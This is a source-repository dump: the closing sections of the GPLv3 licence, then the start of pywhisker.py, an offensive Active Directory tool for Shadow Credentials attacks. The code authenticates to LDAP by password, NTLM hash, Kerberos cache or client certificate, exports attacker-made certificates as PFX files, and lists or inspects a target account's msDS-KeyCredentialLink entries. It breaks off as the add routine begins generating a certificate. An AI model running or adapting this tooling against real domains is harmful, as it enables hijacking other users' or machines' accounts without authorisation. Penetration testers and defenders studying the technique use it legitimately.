327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/pywhisker/pywhisker.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : pywhisker.py
4 | # Author : Charlie Bromberg (@_nwodtuhs) & Podalirius (@podalirius_)
5 | # Date created : 29 Jul 2021
6 | # modified by : Heimdall-42
7 | # Date modified : 31 Dec 2024
8 |
9 | import json
10 | import random
11 | import string
12 | import traceback
13 | from binascii import unhexlify
14 |
15 | import argparse
16 | import ldap3
17 | import ldapdomaindump
18 | import os
19 | import ssl
20 | import sys
21 |
22 | # added for PFX-Export w/o pyOpenSSL
23 | from cryptography import x509
24 | from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
25 | from cryptography.hazmat.primitives.serialization import BestAvailableEncryption, NoEncryption
26 | from cryptography.hazmat.backends import default_backend
27 |
28 | from impacket.smbconnection import SMBConnection
29 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
30 | from ldap3.protocol.formatters.formatters import format_sid
31 | from ldap3.utils.conv import escape_filter_chars
32 |
33 | # dsinternals
34 | from dsinternals.common.data.DNWithBinary import DNWithBinary
35 | from dsinternals.common.data.hello.KeyCredential import KeyCredential
36 | from dsinternals.system.Guid import Guid
37 | from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
38 | from dsinternals.system.DateTime import DateTime
39 |
40 | from rich.console import Console
41 |
42 | from pyasn1.codec.ber import encoder, decoder
43 | from pyasn1.type.univ import noValue
44 |
45 | #####################################################################################
46 | # Helper for PFX-Export with cryptography
47 | #####################################################################################
48 | def export_pfx_with_cryptography(pem_cert_file, pem_key_file, pfx_password=None, out_file='cert.pfx'):
49 | with open(pem_cert_file, 'rb') as f:
50 | pem_cert_data = f.read()
51 | with open(pem_key_file, 'rb') as f:
52 | pem_key_data = f.read()
53 |
54 | cert_obj = x509.load_pem_x509_certificate(pem_cert_data, default_backend())
55 |
56 | from cryptography.hazmat.primitives import serialization
57 | key_obj = serialization.load_pem_private_key(pem_key_data, password=None, backend=default_backend())
58 |
59 | # Password or NoEncryption
60 | if pfx_password is None:
61 | encryption_algo = NoEncryption()
62 | else:
63 | encryption_algo = BestAvailableEncryption(pfx_password.encode('utf-8'))
64 |
65 | pfx_data = serialize_key_and_certificates(
66 | name=b"ShadowCredentialCert",
67 | key=key_obj,
68 | cert=cert_obj,
69 | cas=None,
70 | encryption_algorithm=encryption_algo
71 | )
72 |
73 | with open(out_file, 'wb') as f:
74 | f.write(pfx_data)
75 |
76 | print(f"[+] PFX exportiert nach: {out_file}")
77 | if pfx_password is not None:
78 | print(f"[i] Passwort für PFX: {pfx_password}")
79 |
80 |
81 | def get_machine_name(args, domain):
82 | if args.dc_ip is not None:
83 | s = SMBConnection(args.dc_ip, args.dc_ip)
84 | else:
85 | s = SMBConnection(domain, domain)
86 | try:
87 | s.login('', '')
88 | except Exception:
89 | if s.getServerName() == '':
90 | raise Exception('Error while anonymous logging into %s' % domain)
91 | else:
92 | s.logoff()
93 | return s.getServerName() + '.' + s.getServerDNSDomainName()
94 |
95 |
96 | def init_ldap_schannel_connection(domain_controller, crt, key):
97 | """
98 | Initializes an LDAP connection using Schannel (certificate-based authentication).
99 | """
100 | port = 636
101 | tls = ldap3.Tls(local_private_key_file=key, local_certificate_file=crt, validate=ssl.CERT_NONE)
102 | ldap_server_kwargs = {'use_ssl': True, 'port': port, 'tls': tls, 'get_info': ldap3.ALL}
103 | ldap_server = ldap3.Server(domain_controller, **ldap_server_kwargs)
104 | ldap_conn = ldap3.Connection(ldap_server)
105 | ldap_conn.open()
106 | return ldap_server, ldap_conn
107 |
108 |
109 | def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash, logger):
110 | user = '%s\\%s' % (domain, username)
111 | connect_to = target
112 | if args.dc_ip is not None:
113 | connect_to = args.dc_ip
114 | if tls_version is not None:
115 | use_ssl = True
116 | port = 636
117 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
118 | else:
119 | use_ssl = False
120 | port = 389
121 | tls = None
122 | ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
123 | if args.use_kerberos:
124 | ldap_session = ldap3.Connection(ldap_server)
125 | ldap_session.bind()
126 | ldap3_kerberos_login(ldap_session, target, username, password, logger, domain, lmhash, nthash, args.auth_key, kdcHost=args.dc_ip)
127 | elif args.auth_hashes is not None:
128 | if lmhash == "":
129 | lmhash = "aad3b435b51404eeaad3b435b51404ee"
130 | ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
131 | else:
132 | ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)
133 |
134 | return ldap_server, ldap_session
135 |
136 |
137 | def init_ldap_session(args, domain, username, password, lmhash, nthash, logger):
138 | if args.use_schannel:
139 | target = args.dc_ip if args.dc_ip is not None else domain
140 | try:
141 | return init_ldap_schannel_connection(target, args.crt, args.key)
142 | except ldap3.core.exceptions.LDAPSocketOpenError:
143 | raise Exception(f"[ERROR] Failed to open LDAP Schannel connection to {target}")
144 |
145 | if args.use_kerberos:
146 | if args.dc_host is not None:
147 | target = args.dc_host
148 | else:
149 | target = get_machine_name(args, domain)
150 | else:
151 | if args.dc_ip is not None:
152 | target = args.dc_ip
153 | else:
154 | target = domain
155 |
156 | if args.use_ldaps is True:
157 | try:
158 | return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash, logger)
159 | except ldap3.core.exceptions.LDAPSocketOpenError:
160 | return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash, logger)
161 | else:
162 | return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash, logger)
163 |
164 |
165 | def ldap3_kerberos_login(connection, target, user, password, logger, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True):
166 | """
167 | logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
168 | :param string user: username
169 | :param string password: password for the user
170 | :param string domain: domain where the account is valid for (required)
171 | :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
172 | :param string nthash: NTHASH used to authenticate using hashes (password is not used)
173 | :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
174 | :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
175 | :param struct TGT: If there's a TGT available, send the structure here and it will be used
176 | :param struct TGS: same for TGS. See smb3.py for the format
177 | :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
178 | :return: True, raises an Exception if error.
179 | """
180 | from pyasn1.codec.ber import encoder, decoder
181 | from pyasn1.type.univ import noValue
182 | if lmhash != '' or nthash != '':
183 | if len(lmhash) % 2:
184 | lmhash = '0' + lmhash
185 | if len(nthash) % 2:
186 | nthash = '0' + nthash
187 | try: # just in case they were converted already
188 | lmhash = unhexlify(lmhash)
189 | nthash = unhexlify(nthash)
190 | except TypeError:
191 | pass
192 | # Importing down here so pyasn1 is not required if kerberos is not used.
193 | from impacket.krb5.ccache import CCache
194 | from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
195 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
196 | from impacket.krb5 import constants
197 | from impacket.krb5.types import Principal, KerberosTime, Ticket
198 | import datetime
199 |
200 | if TGT is not None or TGS is not None:
201 | useCache = False
202 |
203 | ccache = None
204 | if useCache:
205 | try:
206 | ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
207 | except Exception as e:
208 | pass
209 | if ccache is not None:
210 | # retrieve domain information from CCache file if needed
211 | if domain == '':
212 | domain = ccache.principal.realm['data'].decode('utf-8')
213 | logger.debug('Domain retrieved from CCache: %s' % domain)
214 |
215 | logger.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
216 | principal = 'ldap/%s@%s' % (target.upper(), domain.upper())
217 |
218 | creds = ccache.getCredential(principal)
219 | if creds is None:
220 | # Let's try for the TGT and go from there
221 | principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
222 | creds = ccache.getCredential(principal)
223 | if creds is not None:
224 | TGT = creds.toTGT()
225 | logger.debug('Using TGT from cache')
226 | else:
227 | logger.debug(f'Principal {principal} not found in cache')
228 | else:
229 | TGS = creds.toTGS(principal)
230 | logger.debug('Using TGS from cache')
231 | # retrieve user information from CCache file if needed
232 | if user == '' and creds is not None:
233 | user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
234 | logger.debug('Username retrieved from CCache: %s' % user)
235 | elif user == '' and len(ccache.principal.components) > 0:
236 | user = ccache.principal.components[0]['data'].decode('utf-8')
237 | logger.debug('Username retrieved from CCache: %s' % user)
238 | # First of all, we need to get a TGT for the user
239 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
240 | if TGT is None:
241 | if TGS is None:
242 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
243 | else:
244 | tgt = TGT['KDC_REP']
245 | cipher = TGT['cipher']
246 | sessionKey = TGT['sessionKey']
247 |
248 | if TGS is None:
249 | serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
250 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
251 | else:
252 | tgs = TGS['KDC_REP']
253 | cipher = TGS['cipher']
254 | sessionKey = TGS['sessionKey']
255 | # Let's build a NegTokenInit with a Kerberos REQ_AP
256 | blob = SPNEGO_NegTokenInit()
257 | # Kerberos
258 | blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
259 | # Let's extract the ticket from the TGS
260 | from impacket.krb5.types import Ticket as Tickety
261 | from pyasn1.codec.der import decoder as der_decoder
262 | tgs = der_decoder.decode(tgs, asn1Spec=TGS_REP())[0]
263 | ticket = Tickety()
264 | ticket.from_asn1(tgs['ticket'])
265 |
266 | apReq = AP_REQ()
267 | apReq['pvno'] = 5
268 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
269 |
270 | opts = []
271 | apReq['ap-options'] = constants.encodeFlags(opts)
272 | seq_set(apReq, 'ticket', ticket.to_asn1)
273 |
274 | authenticator = Authenticator()
275 | authenticator['authenticator-vno'] = 5
276 | authenticator['crealm'] = domain
277 | seq_set(authenticator, 'cname', userName.components_to_asn1)
278 | now = datetime.datetime.utcnow()
279 |
280 | authenticator['cusec'] = now.microsecond
281 | authenticator['ctime'] = KerberosTime.to_asn1(now)
282 |
283 | from pyasn1.codec.ber import encoder as ber_encoder
284 | encodedAuthenticator = ber_encoder.encode(authenticator)
285 |
286 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
287 | # Now let's build the AP_REQ
288 | apReq['authenticator'] = noValue
289 | apReq['authenticator']['etype'] = cipher.enctype
290 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
291 | # Key Usage 11
292 | # AP-REQ Authenticator (includes application authenticator
293 | # subkey), encrypted with the application session key
294 | # (Section 5.5.1)
295 | from pyasn1.codec.ber import encoder as ber_encoder2
296 | blob['MechToken'] = ber_encoder2.encode(apReq)
297 |
298 | request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData())
299 | # Done with the Kerberos saga, now let's get into LDAP
300 | if connection.closed:
301 | connection.open(read_server_info=False)
302 |
303 | connection.sasl_in_progress = True
304 | response = connection.post_send_single_response(connection.send('bindRequest', request, None))
305 | connection.sasl_in_progress = False
306 | if response[0]['result'] != 0:
307 | raise Exception(response)
308 |
309 | connection.bound = True
310 | return True
311 |
312 |
313 | class ShadowCredentials(object):
314 | def __init__(self, ldap_server, ldap_session, target_samname, target_domain=None, logger=None):
315 | super(ShadowCredentials, self).__init__()
316 | self.ldap_server = ldap_server
317 | self.ldap_session = ldap_session
318 | self.delegate_from = None
319 | self.target_samname = target_samname
320 | self.target_dn = None
321 | self.target_domain_dn = ','.join(f'DC={component}' for component in target_domain.split('.')) if target_domain is not None else None
322 | if logger is None:
323 | self.logger = Logger(0, False)
324 | else:
325 | self.logger = logger
326 | self.logger.debug('Initializing domainDumper()')
327 | cnf = ldapdomaindump.domainDumpConfig()
328 | cnf.basepath = None
329 | self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf, root=self.target_domain_dn)
330 |
331 |
332 | def info(self, device_id):
333 | self.logger.info("Searching for the target account")
334 | result = self.get_dn_sid_from_samname(self.target_samname)
335 | if not result:
336 | self.logger.error('Target account does not exist! (wrong domain?)')
337 | return
338 | else:
339 | self.target_dn = result[0]
340 | self.logger.info("Target user found: %s" % self.target_dn)
341 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
342 | results = None
343 | for entry in self.ldap_session.response:
344 | if entry['type'] != 'searchResEntry':
345 | continue
346 | results = entry
347 | if not results:
348 | self.logger.error('Could not query target user properties')
349 | return
350 | try:
351 | device_id_in_current_values = False
352 | for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']:
353 | try:
354 | keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value))
355 | if keyCredential.DeviceId is None:
356 | self.logger.warning("Failed to parse DeviceId for keyCredential: %s" % (str(dn_binary_value)))
357 | continue
358 | if keyCredential.DeviceId.toFormatD() == device_id:
359 | self.logger.success("Found device Id")
360 | keyCredential.show()
361 | device_id_in_current_values = True
362 | except Exception as err:
363 | self.logger.warning("Failed to parse keyCredential, error: %s, raw keyCredential: %s" % (str(err), dn_binary_value.decode()))
364 | self.logger.debug(traceback.format_exc())
365 | if not device_id_in_current_values:
366 | self.logger.warning("No value with the provided DeviceID was found for the target object")
367 | except IndexError:
368 | self.logger.info('Attribute msDS-KeyCredentialLink does not exist')
369 | return
370 |
371 |
372 | def list(self):
373 | self.logger.info("Searching for the target account")
374 | result = self.get_dn_sid_from_samname(self.target_samname)
375 | if not result:
376 | self.logger.error('Target account does not exist! (wrong domain?)')
377 | return
378 | else:
379 | self.target_dn = result[0]
380 | self.logger.info("Target user found: %s" % self.target_dn)
381 | self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
382 | results = None
383 | for entry in self.ldap_session.response:
384 | if entry['type'] != 'searchResEntry':
385 | continue
386 | results = entry
387 | if not results:
388 | self.logger.error('Could not query target user properties')
389 | return
390 | try:
391 | if len(results['raw_attributes']['msDS-KeyCredentialLink']) == 0:
392 | self.logger.info('Attribute msDS-KeyCredentialLink is either empty or user does not have read permissions on that attribute')
393 | else:
394 | self.logger.info("Listing devices for %s" % self.target_samname)
395 | for dn_binary_value in results['raw_attributes']['msDS-KeyCredentialLink']:
396 | try:
397 | keyCredential = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(dn_binary_value))
398 | if keyCredential.DeviceId is None:
399 | self.logger.warning("Failed to parse DeviceId for keyCredential: %s" % (str(dn_binary_value)))
400 | self.logger.warning("DeviceID: %s | Creation Time (UTC): %s" % (keyCredential.DeviceId, keyCredential.CreationTime))
401 | else:
402 | self.logger.info("DeviceID: %s | Creation Time (UTC): %s" % (keyCredential.DeviceId.toFormatD(), keyCredential.CreationTime))
403 | except Exception as err:
404 | self.logger.warning("Failed to parse keyCredential, error: %s, raw keyCredential: %s" % (str(err), dn_binary_value.decode()))
405 | self.logger.debug(traceback.format_exc())
406 | except IndexError:
407 | self.logger.info('Attribute msDS-KeyCredentialLink does not exist')
408 | return
409 |
410 |
411 | def add(self, password, path, export_type, domain, target_domain):
412 | self.logger.info("Searching for the target account")
413 | result = self.get_dn_sid_from_samname(self.target_samname)
414 | if not result:
415 | self.logger.error('Target account does not exist! (wrong domain?)')
416 | return
417 | else:
418 | self.target_dn = result[0]
419 | self.logger.info("Target user found: %s" % self.target_dn)
420 | self.logger.info("Generating certificate")
